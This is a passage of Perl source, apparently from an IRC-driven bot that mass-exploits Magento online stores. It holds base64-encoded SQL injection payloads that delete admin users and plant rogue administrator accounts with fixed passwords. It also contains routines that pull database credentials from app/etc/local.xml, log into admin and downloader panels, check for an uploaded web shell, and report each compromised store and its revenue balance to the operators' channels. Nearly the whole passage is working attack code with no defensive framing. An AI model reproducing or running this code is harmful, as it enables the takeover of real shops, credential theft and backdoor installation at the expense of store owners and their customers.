JTlRPIGBhZG1pbl9yb2xlYCAoYHBhcmVudF9pZGAsYHRyZWVfbGV2ZWxgLGBzb3J0X29yZGVyYCxgcm9sZV90eXBlYCxgdXNlcl9pZGAsYHJvbGVfbmFtZWApIFZBTFVFUyAoMSwyLDAsJ1UnLDY5NjksJ2RldmVsb3BlcicpOzsgLS0g"; # admin_user my $cmswy2 = "/Cms_Wysiwyg/directive/?forwarded=true&isIframe=true&___directive=e3tibG9jayB0eXBlPSJhZG1pbmh0bWwvcmVwb3J0X3NlYXJjaF9ncmlkIn19&filter=bnVtX3Jlc3VsdHNbZnJvbV09MCZudW1fcmVzdWx0c1tmaWVsZF9leHByXT0xPTIpO0RFTEVURSBGUk9NIGBtYWdlbnRvX2FkbWluX3VzZXJgIFdIRVJFIHVzZXJuYW1lPSdkbGMnO0RFTEVURSBGUk9NIGBtYWdlbnRvX2FkbWluX3JvbGVgIFdIRVJFIHVzZXJfaWQ9Njk2OTtJTlNFUlQgSU5UTyBgbWFnZW50b19hZG1pbl91c2VyYCAoYHVzZXJfaWRgLGBmaXJzdG5hbWVgLGBsYXN0bmFtZWAsYGVtYWlsYCxgdXNlcm5hbWVgLGBwYXNzd29yZGAsYGNyZWF0ZWRgLGBtb2RpZmllZGAsYGxvZ2RhdGVgLGBsb2dudW1gLGByZWxvYWRfYWNsX2ZsYWdgLGBpc19hY3RpdmVgLGBleHRyYWApIFZBTFVFUyAoNjk2OSwnbWFnZW50bycsJ2RldmVsb3BlcicsJ2RldmVsb3BlckBtYWdlbnRvY29tbWVyY2UuY29tJywnZGxjJywnY2ExZTY1MDdhNjMyYjA5ZDUwMDJhZjZiMmZjNzc5ZWU6TVEnLCcyMDE1LTA1LTA1IDA1OjA1OjA1JywnMjAxNS0wNS0wNSAwNTowNTowNScsJzIwMTUtMDUtMDUgMDU6MDU6MDUnLDEsMCwxLCdOOycpO0lOU0VSVCBJTlRPIGBtYWdlbnRvX2FkbWluX3JvbGVgIChgcGFyZW50X2lkYCxgdHJlZV9sZXZlbGAsYHNvcnRfb3JkZXJgLGByb2xlX3R5cGVgLGB1c2VyX2lkYCxgcm9sZV9uYW1lYCkgVkFMVUVTICgxLDIsMCwnVScsNjk2OSwnZGV2ZWxvcGVyJyk7OyAtLSA="; # magento_admin_user my $cmswy3 = "/Cms_Wysiwyg/directive/?forwarded=true&isIframe=true&___directive=e3tibG9jayB0eXBlPSJhZG1pbmh0bWwvcmVwb3J0X3NlYXJjaF9ncmlkIn19&filter=bnVtX3Jlc3VsdHNbZnJvbV09MCZudW1fcmVzdWx0c1tmaWVsZF9leHByXT0xPTIpO0RFTEVURSBGUk9NIGBtYWdlX2FkbWluX3VzZXJgIFdIRVJFIHVzZXJuYW1lPSdkbGMnO0RFTEVURSBGUk9NIGBtYWdlX2FkbWluX3JvbGVgIFdIRVJFIHVzZXJfaWQ9Njk2OTtJTlNFUlQgSU5UTyBgbWFnZV9hZG1pbl91c2VyYCAoYHVzZXJfaWRgLGBmaXJzdG5hbWVgLGBsYXN0bmFtZWAsYGVtYWlsYCxgdXNlcm5hbWVgLGBwYXNzd29yZGAsYGNyZWF0ZWRgLGBtb2RpZmllZGAsYGxvZ2RhdGVgLGBsb2dudW1gLGByZWxvYWRfYWNsX2ZsYWdgLGBpc19hY3RpdmVgLGBleHRyYWApIFZBTFVFUyAoNjk2OSwnbWFnZW50bycsJ2RldmVsb3BlcicsJ2RldmVsb3BlckBtYWdlbnRvY29tbWVyY2UuY29tJywnZGxjJywnY2ExZTY1MDdhNjMyYjA5ZDUwMDJhZjZiMmZjNzc5ZWU6TVEnLCcyMDE1LTA1LTA1IDA1OjA1OjA1JywnMjAxNS0wNS0wNSAwNTowNTowNScsJzIwMTUtMDUtMDUgMDU6MDU6MDUnLDEsMCwxLCdOOycpO0lOU0VSVCBJTlRPIGBtYWdlX2FkbWluX3JvbGVgIChgcGFyZW50X2lkYCxgdHJlZV9sZXZlbGAsYHNvcnRfb3JkZXJgLGByb2xlX3R5cGVgLGB1c2VyX2lkYCxgcm9sZV9uYW1lYCkgVkFMVUVTICgxLDIsMCwnVScsNjk2OSwnZGV2ZWxvcGVyJyk7OyAtLSA="; # mage_admin_user my $cmswy4 = "/Cms_Wysiwyg/directive/?forwarded=true&isIframe=true&___directive=e3tibG9jayB0eXBlPSJhZG1pbmh0bWwvcmVwb3J0X3NlYXJjaF9ncmlkIn19&filter=bnVtX3Jlc3VsdHNbZnJvbV09MCZudW1fcmVzdWx0c1tmaWVsZF9leHByXT0xPTIpO0RFTEVURSBGUk9NIGBtZ19hZG1pbl91c2VyYCBXSEVSRSB1c2VybmFtZT0nZGxjJztERUxFVEUgRlJPTSBgbWdfYWRtaW5fcm9sZWAgV0hFUkUgdXNlcl9pZD02OTY5O0lOU0VSVCBJTlRPIGBtZ19hZG1pbl91c2VyYCAoYHVzZXJfaWRgLGBmaXJzdG5hbWVgLGBsYXN0bmFtZWAsYGVtYWlsYCxgdXNlcm5hbWVgLGBwYXNzd29yZGAsYGNyZWF0ZWRgLGBtb2RpZmllZGAsYGxvZ2RhdGVgLGBsb2dudW1gLGByZWxvYWRfYWNsX2ZsYWdgLGBpc19hY3RpdmVgLGBleHRyYWApIFZBTFVFUyAoNjk2OSwnbWFnZW50bycsJ2RldmVsb3BlcicsJ2RldmVsb3BlckBtYWdlbnRvY29tbWVyY2UuY29tJywnZGxjJywnY2ExZTY1MDdhNjMyYjA5ZDUwMDJhZjZiMmZjNzc5ZWU6TVEnLCcyMDE1LTA1LTA1IDA1OjA1OjA1JywnMjAxNS0wNS0wNSAwNTowNTowNScsJzIwMTUtMDUtMDUgMDU6MDU6MDUnLDEsMCwxLCdOOycpO0lOU0VSVCBJTlRPIGBtZ19hZG1pbl9yb2xlYCAoYHBhcmVudF9pZGAsYHRyZWVfbGV2ZWxgLGBzb3J0X29yZGVyYCxgcm9sZV90eXBlYCxgdXNlcl9pZGAsYHJvbGVfbmFtZWApIFZBTFVFUyAoMSwyLDAsJ1UnLDY5NjksJ2RldmVsb3BlcicpOzsgLS0g"; # mg_admin_user if(my $pid = fork){ waitpid($pid, 0); } else { if(fork){ exit; } else { #&Query("http://".$site."/admin/".$cmswy0); &Query("http://".$site."/admin/".$cmswy1); #&Query("http://".$site."/admin/".$cmswy2); #&Query("http://".$site."/admin/".$cmswy3); #&Query("http://".$site."/admin/".$cmswy4); #&Query("http://".$site."index.php/admin/".$cmswy0); &Query("http://".$site."index.php/admin/".$cmswy1); #&Query("http://".$site."index.php/admin/".$cmswy2); #&Query("http://".$site."index.php/admin/".$cmswy3); #&Query("http://".$site."index.php/admin/".$cmswy4); my $situs = "http://".$site."downloader/"; my $check = &Query($situs); if($check =~ /Magento Downloader/i) { my $package; my $chkurl = &ReadLogs("MSL.URL",md5_hex($site)); if($chkurl == 0){ my $res = &mslAdmin($situs); if($res =~ /form\.install_package_id\.value/i){ $package.="[ 3Login success ]"; } if($res =~ /File_System/i){ $package.="[ 13File_System ]"; } if($res =~ /kontol_module/i){ $package.="[ 13kontol_module ]"; } if($res =~ /not have sufficient write permission/i){ $package.="[ 14Permission denied ]"; } if($package){ if($package !~ /Permission denied/){ &message($admin,"![4SHOPLIFT]! [ 12http://".$site."downloader ] ".$package); &message($wakil,"![4SHOPLIFT]! [ 12http://".$site."downloader ] ".$package); } &message($chanx,"![4SHOPLIFT]! [ 12Success ] ".$package); &WriteLogs("MSL.URL",md5_hex($site)); } else { &msxAdmin($site); } } else { &message($chanx,"![13X]! skipping: 14".$site." ![13*]!"); } } my $magen = &Query($magmo); if($magen =~ /dbname/i){ my $chkurl = &ReadLogs("MSL.URL",md5_hex($site)); if($chkurl == 0){ if($magen =~ /host?\s\=?\s\"(.*)\"/i) { $hozz = $1; } if($magen =~ /dbname?\s\=?\s\"(.*)\"/i) { $base = $1; } if($magen =~ /user?\s\=?\s\"(.*)\"/i) { $user = $1; } if($magen =~ /password?\s\=?\s\"(.*)\"/i) { $pass = $1; } &mageAuth($site, $hozz, $user, $pass, $base); &mageDown($site); if($sqlview == 1){ &mageSQL($site, $hozz, $user, $pass, $base); &dbConnect($site, $hozz, $user, $pass, $base); } &Query("http://".$site."/admin/".$cmswy1); my $sitos = "http://".$site."downloader/"; my $testa = "".$shopliftxpl."?target=http://".$site."/"; my $choock = &mslAdmin($sitos); if($choock =~ /Magento Downloader/i) { my $htmla = &Query($testa); &Query($sitos); if ($htmla =~ /is vulnerable/) { my $xteam = "http://".$site."/Neko.php"; my $oscheck = &Query($xteam); if ($oscheck =~ /MODE : (.*?)<\/B>
/i){ $safemo = $1; if ($oscheck =~ /Uname : (.*?)<\/B>
/i){ $infeno = $1; } &message("$chanx","![4SHOPLIFT]! [ 12Shell ] [ 14SAFE ".$safemo." - 14".$infeno." ]"); &message("$admin","![4MSL-Vuln]! [ 14SAFE ".$safemo." - 14".$infeno." ] [12 http://".$xteam."?cmd ] $dork "); &message("$wakil","![4MSL-Vuln]! [ 14SAFE ".$safemo." - 14".$infeno." ] [12 http://".$xteam."?cmd ] $dork "); } } } } } my $magon = &Query($magma); if($magon =~ /dbname/i){ my $chkurl = &ReadLogs("MSL.URL",md5_hex($site)); if($chkurl == 0){ if($magon =~ /host?\s\=?\s\"(.*)\"/i) { $hozz = $1; } if($magon =~ /dbname?\s\=?\s\"(.*)\"/i) { $base = $1; } if($magon =~ /user?\s\=?\s\"(.*)\"/i) { $user = $1; } if($magon =~ /password?\s\=?\s\"(.*)\"/i) { $pass = $1; } &mageAuth($site, $hozz, $user, $pass, $base); &mageDown($site); if($sqlview == 1){ &mageSQL($site, $hozz, $user, $pass, $base); &dbConnect($site, $hozz, $user, $pass, $base); } } } my $testsql = "http://".$site."admin/Cms_Wysiwyg/directive/?forwarded=true&isIframe=true&___directive=e3tibG9jayB0eXBlPSJhZG1pbmh0bWwvcmVwb3J0X3NlYXJjaF9ncmlkIn19&filter=bnVtX3Jlc3VsdHNbZnJvbV09MCZudW1fcmVzdWx0c1tmaWVsZF9leHByXT0xPTIpO0RFTEVURSBGUk9NIGBhZG1pbl91c2VyYCBXSEVSRSB1c2VyX2lkID0gMzU7ICBERUxFVEUgRlJPTSBgYWRtaW5fcm9sZWAgV0hFUkUgdXNlcl9pZCA9IDM1OyAgSU5TRVJUIElOVE8gYGFkbWluX3VzZXJgIChgdXNlcl9pZGAsIGBmaXJzdG5hbWVgLCBgbGFzdG5hbWVgLCBgZW1haWxgLCBgdXNlcm5hbWVgLCBgcGFzc3dvcmRgLCBgY3JlYXRlZGAsIGBtb2RpZmllZGAsIGBsb2dkYXRlYCwgYGxvZ251bWAsIGByZWxvYWRfYWNsX2ZsYWdgLCBgaXNfYWN0aXZlYCwgYGV4dHJhYCkgVkFMVUVTICAoMzUsJ2JhY2t1cCcsICdseWNveicsICdiYWNrdXBAbWFnZW50b3MuY29tJywgJ2x5Y296JywgJzM4NDc4MjAxMzg1NjQ1MjUyMDUyOTlmMWY0NDRjNWVjJywgJ251bGwnLCAnbnVsbCcsICdudWxsJywgMSwgMCwgMSwgJ047Jyk7ICBJTlNFUlQgSU5UTyBgYWRtaW5fcm9sZWAgKGBwYXJlbnRfaWRgLCBgdHJlZV9sZXZlbGAsIGBzb3J0X29yZGVyYCwgYHJvbGVfdHlwZWAsIGB1c2VyX2lkYCwgYHJvbGVfbmFtZWApIFZBTFVFUyAoMSwgMiwgMCwgJ1UnLCAzNSwgJ21hZ2VudCcpOzsgLS0g"; my $fz = &Query($testsql); my $url = "http://".$site."/admin"; my $check = &Query($url); if($check =~ //g) { my $username = "lycoz"; my $password = "wew"; my $key = $1; my $ua = LWP::UserAgent->new( keep_alive => 1, timeout => 120, agent => $uagent ); $ua->requests_redirectable(['GET', 'HEAD', 'POST']); $ua->max_redirect(5); $ua->cookie_jar(HTTP::Cookies->new(file => "cookies.txt", autosave => 1)); my $response = $ua->request( POST "$url", Content_Type => 'form-data', Content => [ "login[username]" => $username, "login[password]" => $password, "form_key" => $key ] ); my $res = $response->content; if($res =~ /(.*?)<\/span>/g) { my $price = $1; my $url2 = "http://".$site."/downloader"; my $ua2 = LWP::UserAgent->new( keep_alive => 1, timeout => 120, agent => $uagent ); $ua2->requests_redirectable(['GET', 'HEAD', 'POST']); $ua2->max_redirect(5); $ua2->cookie_jar(HTTP::Cookies->new(file => "cookies.txt", autosave => 1)); my $response2 = $ua2->request( POST "$url2", Content_Type => 'form-data', Content => [ "username" => $username, "password" => $password ] ); my $res2 = $response2->content; if($res2 =~ /Log Out/ig || $res2 =~/Return to Admin/ig) { my $out = ($res2 =~ /Warning: Your Magento folder does not have sufficient write permissions/ig) ? 'Denied' : 'Writable'; my $fs = ($res2 =~ /File_System/ig) ? "Installed" : "Not Install"; &msg("$admin","![4SHOPLIFT]! 12".$url." 4<9=4> 12 File_System = $fs & Downloader = $out  ![13*]!"); &msg("$channel","![4SHOPLIFT]! 12LOGIN11 [8Success11]12 Balance11 [9 ".$price." 11]  ![13*]!"); &mageAuth($site, $hozz, $user, $pass, $base); &mageDown($site); if($sqlview == 1){ &mageSQL($site, $hozz, $user, $pass, $base); &dbConnect($site, $hozz, $user, $pass, $base); } } } } my $htmlx = &Query($testx); if($htmlx =~ /dbname/i){ my $chkurl = &ReadLogs("MSL.URL",md5_hex($site)); if($chkurl == 0){ if($htmlx =~ /host><\!\[\CDATA\[(.*?)\]\]><\/host/i){ $hoss = $1; } if($htmlx =~ /username><\!\[CDATA\[(.*?)\]\]><\/username/i){ $uzer = $1; } if($htmlx =~ /password><\!\[CDATA\[(.*?)\]\]><\/password/i){ $pazz = $1; } if($htmlx =~ /frontName><\!\[CDATA\[(.*?)\]\]><\/frontName/i){ $dirz = $1; } if($htmlx =~ /table_prefix><\!\[CDATA\[(.*?)\]\]><\/table_prefix/i){ $pref = $1; } if($htmlx =~ /dbname><\!\[CDATA\[(.*?)\]\]><\/dbname/i){ $baze = $1; } &message($chanx,"![13X]! Exploiting (1): 14".$site.$dirz." ![13*]!"); &mageAuth($site, $hoss, $uzer, $pazz, $baze); &mageDown($site); if($sqlview == 1){ &mageSQL($site, $hoss, $uzer, $pazz, $baze); &dbConnect($site, $hoss, $uzer, $pazz, $baze); } #&Query("http://".$site.$dirz.$cmswy0); &Query("http://".$site.$dirz.$cmswy1); #&Query("http://".$site.$dirz.$cmswy2); #&Query("http://".$site.$dirz.$cmswy3); #&Query("http://".$site.$dirz.$cmswy4); my $sites = "http://".$site."downloader/"; my $chock = &Query($sites); if($chock =~ /Magento Downloader/i) { my $res = &mslAdmin($sites); if($res =~ /Return to Admin/i) { &message($admin,"![4SHOPLIFT]! [ 12http://".$site."downloader ] [ 12http://".$site.$dirz." ] [ 3Login success ]"); &message($wakil,"![4SHOPLIFT]! [ 12http://".$site."downloader ] [ 12http://".$site.$dirz." ] [ 3Login success ]"); &message($chanx,"![4SHOPLIFT]! [ 3Login success ]"); &WriteLogs("MSL.URL",md5_hex($site)); } } my $sitas = "http://".$site.$dirz; my $chack = &Query($sitas); if($chack =~ /Password/i) { &message($chanx,"![13X]! Exploiting (2): 14".$site.$dirz." ![13*]!"); my $res = &mslAdmin($sitez); if($res =~ /Dashboard/i) { &message($admin,"![7SHOPLIFT]! [ 12http://".$site.$dirz." ] [ 7Directory ]"); &message($wakil,"![7SHOPLIFT]! [ 12http://".$site.$dirz." ] [ 7Directory ]"); &message($chanx,"![7SHOPLIFT]! [ 12Found ] [ 7Directory ]"); &WriteLogs("MSL.URL",md5_hex($site)); } } } } my $magun = &Query($magme); if($magun =~ /dbname/i){ my $chkurl = &ReadLogs("MSL.URL",md5_hex($site)); if($chkurl == 0){ if($magun =~ /host><\!\[\CDATA\[(.*?)\]\]><\/host/i){ $huss = $1; } if($magun =~ /username><\!\[CDATA\[(.*?)\]\]><\/username/i){ $uzir = $1; } if($magun =~ /password><\!\[CDATA\[(.*?)\]\]><\/password/i){ $puzz = $1; } if($magun =~ /frontName><\!\[CDATA\[(.*?)\]\]><\/frontName/i){ $dorz = $1; } if($magun =~ /table_prefix><\!\[CDATA\[(.*?)\]\]><\/table_prefix/i){ $praf = $1; } if($magun =~ /dbname><\!\[CDATA\[(.*)\]\]><\/dbname/i){ $bazi = $1; } &message($chanx,"![13X]! Exploiting (3): 14".$site.$dorz." ![13*]!"); &mageAuth($site, $huss, $uzir, $puzz, $bazi); &mageDown($site); if($sqlview == 1){ &mageSQL($site, $huss, $uzir, $puzz, $bazi); &dbConnect($site, $huss, $uzir, $puzz, $bazi); } #&Query("http://".$site.$dorz.$cmswy0); &Query("http://".$site.$dorz.$cmswy1); #&Query("http://".$site.$dorz.$cmswy2); #&Query("http://".$site.$dorz.$cmswy3); #&Query("http://".$site.$dorz.$cmswy4); my $sitez = "http://".$site."downloader/"; my $zhock = &Query($sitez); if($zhock =~ /Magento Downloader/i) { my $res = &mslAdmin($sitez); if($resa =~ /Return to Admin/i) { &message($admin,"![4SHOPLIFT]! [ 12http://".$site."downloader ] [ 12http://".$site.$dorz." ] [ 3Login success ]"); &message($wakil,"![4SHOPLIFT]! [ 12http://".$site."downloader ] [ 12http://".$site.$dorz." ] [ 3Login success ]"); &message($chanx,"![4SHOPLIFT]! [ 3Login success ]"); &WriteLogs("MSL.URL",md5_hex($site)); } } my $sitaz = "http://".$site.$dorz; my $chack = &Query($sitaz); if($chack =~ /Password/i) { &message($chanx,"![13X]! Exploiting (4): 14".$site.$dorz." ![13*]!"); my $res = &mslAdmin($sitaz); if($rez =~ /Dashboard/i) { &message($admin,"![4SHOPLIFT]! [ 12http://".$site.$dorz." ] [ 7Admin page ]"); &message($wakil,"![4SHOPLIFT]! [ 12http://".$site.$dorz." ] [ 7Admin page ]"); &message($chanx,"![4SHOPLIFT]! [ 12Found ] [ 7Admin page ]"); &WriteLogs("MSL.URL",md5_hex($site)); } } } } my $axxem = &mageQuery($tostx, "app/etc/local.xml"); if($axxem =~ /host><\!\[CDATA\[(.*?)\]\]><\/host/i){ $xozz = $1; if($axxem =~ /username><\!\[CDATA\[(.*?)\]\]><\/username/i){ $xser = $1; } if($axxem =~ /password><\!\[CDATA\[(.*?)\]\]><\/password/i){ $xass = $1; } if($axxem =~ /dbname><\!\[CDATA\[(.*?)\]\]><\/dbname/i){ $xase = $1; } if($axxem =~ /frontName><\!\[CDATA\[(.*?)\]\]><\/frontName/i){ $dirx = $1; } if($axxem =~ /table_prefix><\!\[CDATA\[(.*?)\]\]><\/table_prefix/i){ $pfix = $1; } my $chkurl = &ReadLogs("MSL.URL",md5_hex($site)); if($chkurl == 0){ &message($chanx,"![4X]! Exploiting (5): 14".$site." ![13*]!"); if($mageforce == 0){ &mageConnect($tostx); &mageAuth($site, $xozz, $xser, $xass, $xase); if($sqlview == 1){ &mageSQL($site, $xozz, $xser, $xass, $xase); } } else { &mageBrute($site, $tostx); } #&Query("http://".$site.$dirx.$cmswy0); &Query("http://".$site.$dirx.$cmswy1); #&Query("http://".$site.$dirx.$cmswy2); #&Query("http://".$site.$dirx.$cmswy3); #&Query("http://".$site.$dirx.$cmswy4); my $sitix = "http://".$site."downloader/"; my $res = &mslAdmin($sitix); if($res =~ /Return to Admin/i) { &message($admin,"![4SHOPLIFT]! [ 12http://".$site."downloader ] [ 3Login success ]"); &message($wakil,"![4SHOPLIFT]! [ 12http://".$site."downloader ] [ 3Login success ]"); &message($chanx,"![4SHOPLIFT]! [ 3Login success ]"); &WriteLogs("MSL.URL",md5_hex($site)); my $testsql = "http://".$site."admin/Cms_Wysiwyg/directive/?forwarded=true&isIframe=true&___directive=e3tibG9jayB0eXBlPSJhZG1pbmh0bWwvcmVwb3J0X3NlYXJjaF9ncmlkIn19&filter=bnVtX3Jlc3VsdHNbZnJvbV09MCZudW1fcmVzdWx0c1tmaWVsZF9leHByXT0xPTIpO0RFTEVURSBGUk9NIGBhZG1pbl91c2VyYCBXSEVSRSB1c2VyX2lkID0gMzU7ICBERUxFVEUgRlJPTSBgYWRtaW5fcm9sZWAgV0hFUkUgdXNlcl9pZCA9IDM1OyAgSU5TRVJUIElOVE8gYGFkbWluX3VzZXJgIChgdXNlcl9pZGAsIGBmaXJzdG5hbWVgLCBgbGFzdG5hbWVgLCBgZW1haWxgLCBgdXNlcm5hbWVgLCBgcGFzc3dvcmRgLCBgY3JlYXRlZGAsIGBtb2RpZmllZGAsIGBsb2dkYXRlYCwgYGxvZ251bWAsIGByZWxvYWRfYWNsX2ZsYWdgLCBgaXNfYWN0aXZlYCwgYGV4dHJhYCkgVkFMVUVTICAoMzUsJ2JhY2t1cCcsICdseWNveicsICdiYWNrdXBAbWFnZW50b3MuY29tJywgJ2x5Y296JywgJzM4NDc4MjAxMzg1NjQ1MjUyMDUyOTlmMWY0NDRjNWVjJywgJ251bGwnLCAnbnVsbCcsICdudWxsJywgMSwgMCwgMSwgJ047Jyk7ICBJTlNFUlQgSU5UTyBgYWRtaW5fcm9sZWAgKGBwYXJlbnRfaWRgLCBgdHJlZV9sZXZlbGAsIGBzb3J0X29yZGVyYCwgYHJvbGVfdHlwZWAsIGB1c2VyX2lkYCwgYHJvbGVfbmFtZWApIFZBTFVFUyAoMSwgMiwgMCwgJ1UnLCAzNSwgJ21hZ2VudCcpOzsgLS0g"; my $fz = &get_content($testsql); my $url = "http://".$site."/admin"; my $check = &get_content($url); if($check =~ //g) { my $username = "lycoz"; my $password = "wew"; my $key = $1; my $ua = LWP::UserAgent->new( keep_alive => 1, timeout => 120, agent => $uagent ); $ua->requests_redirectable(['GET', 'HEAD', 'POST']); $ua->max_redirect(5); $ua->cookie_jar(HTTP::Cookies->new(file => "cookies.txt", autosave => 1)); my $response = $ua->request( POST "$url", Content_Type => 'form-data', Content => [ "login[username]" => $username, "login[password]" => $password, "form_key" => $key ] ); my $res = $response->content; if($res =~ /(.*?)<\/span>/g) { my $price = $1; my $url2 = "http://".$site."/downloader"; my $ua2 = LWP::UserAgent->new( keep_alive => 1, timeout => 120, agent => $uagent ); $ua2->requests_redirectable(['GET', 'HEAD', 'POST']); $ua2->max_redirect(5); $ua2->cookie_jar(HTTP::Cookies->new(file => "cookies.txt", autosave => 1)); my $response2 = $ua2->request( POST "$url2", Content_Type => 'form-data', Content => [ "username" => $username, "password" => $password ] ); my $res2 = $response2->content; if($res2 =~ /Log Out/ig || $res2 =~/Return to Admin/ig) { my $out = ($res2 =~ /Warning: Your Magento folder does not have sufficient write permissions/ig) ? 'Denied' : 'Writable'; my $fs = ($res2 =~ /File_System/ig) ? "Installed" : "Not Install"; &msg("$admin","![4SHOPLIFT]! 12".$url." 4<9=4> 12 File_System = $fs & Downloader = $out  ![13*]!"); &msg("$channel","![4SHOPLIFT]! 12LOGIN11 [8Success11]12 Balance11 [9 ".$price." 11] ![13*]!"); } } } } my $satos = "http://".$site.$dirx; my $chick = &Query($satos); if($chick =~ /Password/i) { &message($chanx,"![4X]! Exploiting (6): 14Start ![13*]!"); my $res = &mslAdmin($satos); if($res =~ /Dashboard/i) { &message($admin,"![4SHOPLIFT]! [ 12http://".$site."downloader ] [ 12http://".$site.$dirx." ] [ 3Login success ]"); &message($wakil,"![4SHOPLIFT]! [ 12http://".$site."downloader ] [ 12http://".$site.$dirx." ] [ 3Login success ]"); &message($chanx,"![4SHOPLIFT]! [ 3Login success ]"); &WriteLogs("MSL.URL",md5_hex($site)); } } my $testsql = "http://".$site."admin/Cms_Wysiwyg/directive/?forwarded=true&isIframe=true&___directive=e3tibG9jayB0eXBlPSJhZG1pbmh0bWwvcmVwb3J0X3NlYXJjaF9ncmlkIn19&filter=bnVtX3Jlc3VsdHNbZnJvbV09MCZudW1fcmVzdWx0c1tmaWVsZF9leHByXT0xPTIpO0RFTEVURSBGUk9NIGBhZG1pbl91c2VyYCBXSEVSRSB1c2VyX2lkID0gMzU7ICBERUxFVEUgRlJPTSBgYWRtaW5fcm9sZWAgV0hFUkUgdXNlcl9pZCA9IDM1OyAgSU5TRVJUIElOVE8gYGFkbWluX3VzZXJgIChgdXNlcl9pZGAsIGBmaXJzdG5hbWVgLCBgbGFzdG5hbWVgLCBgZW1haWxgLCBgdXNlcm5hbWVgLCBgcGFzc3dvcmRgLCBgY3JlYXRlZGAsIGBtb2RpZmllZGAsIGBsb2dkYXRlYCwgYGxvZ251bWAsIGByZWxvYWRfYWNsX2ZsYWdgLCBgaXNfYWN0aXZlYCwgYGV4dHJhYCkgVkFMVUVTICAoMzUsJ2JhY2t1cCcsICdseWNveicsICdiYWNrdXBAbWFnZW50b3MuY29tJywgJ2x5Y296JywgJzM4NDc4MjAxMzg1NjQ1MjUyMDUyOTlmMWY0NDRjNWVjJywgJ251bGwnLCAnbnVsbCcsICdudWxsJywgMSwgMCwgMSwgJ047Jyk7ICBJTlNFUlQgSU5UTyBgYWRtaW5fcm9sZWAgKGBwYXJlbnRfaWRgLCBgdHJlZV9sZXZlbGAsIGBzb3J0X29yZGVyYCwgYHJvbGVfdHlwZWAsIGB1c2VyX2lkYCwgYHJvbGVfbmFtZWApIFZBTFVFUyAoMSwgMiwgMCwgJ1UnLCAzNSwgJ21hZ2VudCcpOzsgLS0g"; my $fz = &get_content($testsql); my $url = "http://".$site."/admin"; my $check = &get_content($url); if($check =~ //g) { my $username = "lycoz"; my $password = "wew"; my $key = $1; my $ua = LWP::UserAgent->new( keep_alive => 1, timeout => 120, agent => $uagent ); $ua->requests_redirectable(['GET', 'HEAD', 'POST']); $ua->max_redirect(5); $ua->cookie_jar(HTTP::Cookies->new(file => "cookies.txt", autosave => 1)); my $response = $ua->request( POST "$url", Content_Type => 'form-data', Content => [ "login[username]" => $username, "login[password]" => $password, "form_key" => $key ] ); my $res = $response->content; if($res =~ /(.*?)<\/span>/g) { my $price = $1; my $url2 = "http://".$site."/downloader"; my $ua2 = LWP::UserAgent->new( keep_alive => 1, timeout => 120, agent => $uagent ); $ua2->requests_redirectable(['GET', 'HEAD', 'POST']); $ua2->max_redirect(5); $ua2->cookie_jar(HTTP::Cookies->new(file => "cookies.txt", autosave => 1)); my $response2 = $ua2->request( POST "$url2", Content_Type => 'form-data', Content => [ "username" => $username, "password" => $password ] ); my $res2 = $response2->content; if($res2 =~ /Log Out/ig || $res2 =~/Return to Admin/ig) { my $out = ($res2 =~ /Warning: Your Magento folder does not have sufficient write permissions/ig) ? 'Denied' : 'Writable'; my $fs = ($res2 =~ /File_System/ig) ? "Installed" : "Not Install"; &msg("$admin","![4SHOPLIFT]! 12".$url." 4<9=4> 12 File_System = $fs & Downloader = $out  ![13*]!"); &msg("$channel","![4SHOPLIFT]! 12LOGIN11 [8Success11]12 Balance11 [9 ".$price." 11] ![13*]!"); } } } } } my $axxem = &mageQuery($tastx, "app/etc/local.xml"); if($axxem =~ /host><\!\[CDATA\[(.*?)\]\]><\/host/i){ $xozz = $1; if($axxem =~ /username><\!\[CDATA\[(.*?)\]\]><\/username/i){ $xser = $1; } if($axxem =~ /password><\!\[CDATA\[(.*?)\]\]><\/password/i){ $xass = $1; } if($axxem =~ /dbname><\!\[CDATA\[(.*?)\]\]><\/dbname/i){ $xase = $1; } if($axxem =~ /frontName><\!\[CDATA\[(.*?)\]\]><\/frontName/i){ $dirx = $1; } if($axxem =~ /table_prefix><\!\[CDATA\[(.*?)\]\]><\/table_prefix/i){ $pfix = $1; } my $chkurl = &ReadLogs("MSL.URL",md5_hex($site)); if($chkurl == 0){ &message($chanx,"![4X]! Exploiting (7): 14Starting ![13*]!"); if($mageforce == 0){ &mageConnect($tastx); &mageAuth($site, $xozz, $xser, $xass, $xase); if($sqlview == 1){ &mageSQL($site, $xozz, $xser, $xass, $xase); } } else { &mageBrute($site, $tastx); } #&Query("http://".$site.$dirx.$cmswy0); &Query("http://".$site.$dirx.$cmswy1); #&Query("http://".$site.$dirx.$cmswy2); #&Query("http://".$site.$dirx.$cmswy3); #&Query("http://".$site.$dirx.$cmswy4); my $sitix = "http://".$site."downloader/"; my $res = &mslAdmin($sitix); if($res =~ /Return to Admin/i) { &message($admin,"![4SHOPLIFT]! [ 12http://".$site."downloader ] [ 3Login success ]"); &message($wakil,"![4SHOPLIFT]! [ 12http://".$site."downloader ] [ 3Login success ]"); &message($chanx,"![4SHOPLIFT]! [ 3Login success ]"); &WriteLogs("MSL.URL",md5_hex($site)); my $testsql = "http://".$site."admin/Cms_Wysiwyg/directive/?forwarded=true&isIframe=true&___directive=e3tibG9jayB0eXBlPSJhZG1pbmh0bWwvcmVwb3J0X3NlYXJjaF9ncmlkIn19&filter=bnVtX3Jlc3VsdHNbZnJvbV09MCZudW1fcmVzdWx0c1tmaWVsZF9leHByXT0xPTIpO0RFTEVURSBGUk9NIGBhZG1pbl91c2VyYCBXSEVSRSB1c2VyX2lkID0gMzU7ICBERUxFVEUgRlJPTSBgYWRtaW5fcm9sZWAgV0hFUkUgdXNlcl9pZCA9IDM1OyAgSU5TRVJUIElOVE8gYGFkbWluX3VzZXJgIChgdXNlcl9pZGAsIGBmaXJzdG5hbWVgLCBgbGFzdG5hbWVgLCBgZW1haWxgLCBgdXNlcm5hbWVgLCBgcGFzc3dvcmRgLCBgY3JlYXRlZGAsIGBtb2RpZmllZGAsIGBsb2dkYXRlYCwgYGxvZ251bWAsIGByZWxvYWRfYWNsX2ZsYWdgLCBgaXNfYWN0aXZlYCwgYGV4dHJhYCkgVkFMVUVTICAoMzUsJ2JhY2t1cCcsICdseWNveicsICdiYWNrdXBAbWFnZW50b3MuY29tJywgJ2x5Y296JywgJzM4NDc4MjAxMzg1NjQ1MjUyMDUyOTlmMWY0NDRjNWVjJywgJ251bGwnLCAnbnVsbCcsICdudWxsJywgMSwgMCwgMSwgJ047Jyk7ICBJTlNFUlQgSU5UTyBgYWRtaW5fcm9sZWAgKGBwYXJlbnRfaWRgLCBgdHJlZV9sZXZlb